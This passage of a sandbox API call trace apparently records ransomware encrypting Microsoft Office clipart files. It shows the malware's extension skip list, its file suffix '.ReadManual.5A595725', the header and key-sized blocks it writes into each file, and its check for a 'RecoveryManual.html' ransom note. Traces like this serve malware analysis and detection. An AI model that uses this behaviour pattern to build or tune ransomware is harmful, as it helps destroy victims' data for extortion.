(psz1="WMF", psz2="sys") returned 1 [0268.370] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.370] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.370] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.370] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.370] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.370] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.370] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.370] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.370] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.371] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.371] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.371] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" [0268.371] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.ReadManual.5A595725" [0268.371] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.ReadManual.5A595725") returned 87 [0268.371] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38903945245) returned 1 [0268.371] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf")) returned 0x20 [0268.371] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.371] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10776) returned 1 [0268.371] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a18, lpName=0x0) returned 0x184 [0268.371] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.372] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.372] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.413] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.414] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a18) returned 0x2f0000 [0268.414] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.414] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38908271939) returned 1 [0268.414] CloseHandle (hObject=0x184) returned 1 [0268.414] SetSecurityInfo () returned 0x57 [0268.414] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.414] CloseHandle (hObject=0x194) returned 1 [0268.414] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0199475.WMF", cAlternateFileName="")) returned 1 [0268.414] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0199475.WMF" | out: lpString1="J0199475.WMF") returned="J0199475.WMF" [0268.414] lstrcmpiW (lpString1="J0199475.WMF", lpString2="RecoveryManual.html") returned -1 [0268.414] StrStrIW (lpFirst="J0199475.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.414] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.415] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.415] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.415] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.415] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.415] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.415] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.415] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.415] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.415] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.415] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.415] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.415] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.415] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.415] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" [0268.415] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.ReadManual.5A595725" [0268.415] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.ReadManual.5A595725") returned 87 [0268.415] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38908377956) returned 1 [0268.415] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf")) returned 0x20 [0268.423] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.424] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5252) returned 1 [0268.424] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1484, lpName=0x0) returned 0x184 [0268.424] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.425] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.425] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.427] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.427] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1484) returned 0x2f0000 [0268.427] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.427] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38909608447) returned 1 [0268.427] CloseHandle (hObject=0x184) returned 1 [0268.427] SetSecurityInfo () returned 0x57 [0268.428] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.428] CloseHandle (hObject=0x194) returned 1 [0268.428] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0199483.WMF", cAlternateFileName="")) returned 1 [0268.428] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0199483.WMF" | out: lpString1="J0199483.WMF") returned="J0199483.WMF" [0268.428] lstrcmpiW (lpString1="J0199483.WMF", lpString2="RecoveryManual.html") returned -1 [0268.428] StrStrIW (lpFirst="J0199483.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.428] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.428] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.428] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.428] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.428] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.428] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.428] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.428] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.428] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.428] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.428] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.428] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.428] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.428] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.428] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" [0268.428] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.ReadManual.5A595725" [0268.428] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.ReadManual.5A595725") returned 87 [0268.428] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38909710418) returned 1 [0268.428] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf")) returned 0x20 [0268.429] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.429] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10164) returned 1 [0268.429] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27b4, lpName=0x0) returned 0x184 [0268.429] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.430] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.430] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.431] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.431] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27b4) returned 0x2f0000 [0268.432] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.432] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38910046390) returned 1 [0268.432] CloseHandle (hObject=0x184) returned 1 [0268.432] SetSecurityInfo () returned 0x57 [0268.432] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.432] CloseHandle (hObject=0x194) returned 1 [0268.432] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbde600, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6dbde600, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x302c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0199609.WMF", cAlternateFileName="")) returned 1 [0268.432] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0199609.WMF" | out: lpString1="J0199609.WMF") returned="J0199609.WMF" [0268.432] lstrcmpiW (lpString1="J0199609.WMF", lpString2="RecoveryManual.html") returned -1 [0268.432] StrStrIW (lpFirst="J0199609.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.432] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.432] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.432] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.432] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.432] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.432] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.432] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.432] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.432] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.432] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.432] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.432] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.433] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.433] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.433] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" [0268.433] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.ReadManual.5A595725" [0268.433] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.ReadManual.5A595725") returned 87 [0268.433] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38910144531) returned 1 [0268.433] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf")) returned 0x20 [0268.433] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.433] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12332) returned 1 [0268.433] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x302c, lpName=0x0) returned 0x184 [0268.433] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.434] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.434] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.467] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.467] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x302c) returned 0x2f0000 [0268.467] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.468] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38913636353) returned 1 [0268.468] CloseHandle (hObject=0x184) returned 1 [0268.468] SetSecurityInfo () returned 0x57 [0268.468] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.468] CloseHandle (hObject=0x194) returned 1 [0268.468] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2004, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200151.WMF", cAlternateFileName="")) returned 1 [0268.468] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0200151.WMF" | out: lpString1="J0200151.WMF") returned="J0200151.WMF" [0268.468] lstrcmpiW (lpString1="J0200151.WMF", lpString2="RecoveryManual.html") returned -1 [0268.468] StrStrIW (lpFirst="J0200151.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.468] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.468] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.468] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.468] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.468] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.468] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.468] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.468] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.468] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.468] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.468] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.468] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.468] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.468] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.468] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" [0268.469] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.ReadManual.5A595725" [0268.469] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.ReadManual.5A595725") returned 87 [0268.469] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38913738499) returned 1 [0268.469] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf")) returned 0x20 [0268.476] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.476] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8196) returned 1 [0268.476] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2004, lpName=0x0) returned 0x184 [0268.476] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.477] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.477] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.492] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.492] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2004) returned 0x2f0000 [0268.492] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.492] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38916096348) returned 1 [0268.492] CloseHandle (hObject=0x184) returned 1 [0268.492] SetSecurityInfo () returned 0x57 [0268.492] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.492] CloseHandle (hObject=0x194) returned 1 [0268.493] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c0c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200163.WMF", cAlternateFileName="")) returned 1 [0268.493] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0200163.WMF" | out: lpString1="J0200163.WMF") returned="J0200163.WMF" [0268.493] lstrcmpiW (lpString1="J0200163.WMF", lpString2="RecoveryManual.html") returned -1 [0268.493] StrStrIW (lpFirst="J0200163.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.493] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.493] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.493] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.493] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.493] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.493] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.493] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.493] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.493] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.493] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.493] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.493] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.493] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.493] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.493] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" [0268.493] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.ReadManual.5A595725" [0268.493] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.ReadManual.5A595725") returned 87 [0268.493] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38916196972) returned 1 [0268.493] GetFileAttributesW 